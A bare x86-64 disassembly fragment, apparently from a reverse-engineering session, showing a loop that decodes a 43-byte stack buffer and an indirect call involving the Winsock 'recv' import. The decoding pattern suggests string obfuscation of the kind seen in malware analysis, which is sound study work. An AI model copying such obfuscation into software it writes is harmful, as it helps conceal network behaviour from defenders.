mov byte [rbp - 0x73], cl
mov ecx, 0x1c
sub cl, al
xor eax, eax
add cl, cl
mov qword [rbp - 0x54], rax
add r13b, cl
mov dword [rbp - 0x4c], eax
mov byte [rbp - 0x72], r13b
xor r9d, r9d
mov word [rbp - 0x48], ax
mov byte [rbp - 0x46], al
movzx r8d, byte [rbp + r9 - 0x70]
lea edx, [r9 + 0x46]
movzx eax, dl
mov ecx, 0xb
and al, r8b
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 - 0x70], cl
inc r9
cmp r9, 0x2b
jb 0x140008512
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x70]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rsp + 0x50]
xor eax, eax
mov rcx, qword [rbp + 0x38]
xor rcx, rsp
call fcn.1400bf510
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret